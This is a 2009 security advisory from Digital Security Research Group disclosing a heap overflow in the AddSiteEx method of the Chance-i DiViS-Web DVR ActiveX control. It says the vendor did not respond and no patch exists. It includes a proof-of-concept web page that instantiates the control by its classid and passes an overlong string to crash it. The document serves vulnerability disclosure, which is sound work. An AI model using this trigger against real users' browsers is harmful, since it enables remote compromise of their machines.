Digital Security Research Group [DSecRG] Advisory       #DSECRG-09-035

original advisory:  http://dsecrg.com/pages/vul/DSECRG-09-035.html


Application:                Chance-i DiViS-Web DVR System ActiveX control
Versions Affected:          3,0,0,7
Vendor URL:                 http://www.chance-i.com/
Bug:                        Heap Overflow
Exploits:                   YES
Reported:                   13.03.2009
Second Reported:            20.03.2009
Solution:                   NONE    
Date of Public Advisory:    09.04.2009
Author:                     Digital Security Research Group [DSecRG] (research [at] dsecrg [dot] com)



Description
***********

DiViS-Web ActiveX (ActiveView.cab) has Heap Overflow vulnerability.



Details
*******

Heap overflow vulnerability found in AddSiteEx() function.
    
There is an exploitable heap overflow vulnerability in DVR's ActiveX 
control (ActiveView.cab). 

If an DVR user were to visit a malicious web page, the overflow could be triggered allowing for a "remote" compromise of the user's machine. Alternatively, an attacker could send their target a specially crafted e-mail, loaded with an exploit to take advantage of this vulnerability. 

The problem arises by passing an overly long string to the AddSiteEx 
method of the control. 

PoC:
 
    <OBJECT ID="DVR" classid="clsid:66F7F252-3FE1-4650-B1E5-94B2A38271C5" STYLE="width: 0px;">
    <PARAM NAME="_Version" VALUE="65536">
    <PARAM NAME="_ExtentX" VALUE="18203">
    <PARAM NAME="_ExtentY" VALUE="13705">
    <PARAM NAME="_StockProps" VALUE="0">
    <PARAM NAME="Split" VALUE="4">
    </OBJECT>

    //server address
    var g_sAddress = location.hostname;
    var g_sId = "";
    var g_sPwd = "";
    var g_bLogin = false;
    var g_nMaxCamera = 16;

    // Port setting
    var g_nImage = 3000;
    var g_nControl = 3001;
    var g_nSound = 8800;

    var long_buff = "alexsint";
    
    while(long_buff.length<(550*8)) long_buff = long_buff + "alexsint"; //rewrite registers

    DVR.Channels = 1;    
    
    DVR.AddSiteEx("", "", long_buff, "", 0, g_nImage, g_nControl, g_nSound); //Crash on Free() at ntdll
    
        

Solution
********

We did not get any response from vendor for more than 2 weeks.
No patches aviable. 



About
*****

Digital Security is leading IT security company in Russia, providing information security consulting, audit and penetration testing services, risk analysis and ISMS-related services and certification for ISO/IEC 27001:2005 and PCI DSS standards. 
Digital Security Research Group focuses on web application and database security problems with vulnerability reports, advisories and whitepapers posted regularly on our website.


Contact:    research [at] dsecrg [dot] com
            http://www.dsecrg.com
            http://www.dsec.ru

Regards,
Digital Security Research Group [DSecRG]
________________________________________
DIGITAL SECURITY
tel/fax: +7(812)703-1547
tel:     +7(812)430-9130
e-mail:  research@dsecrg.com
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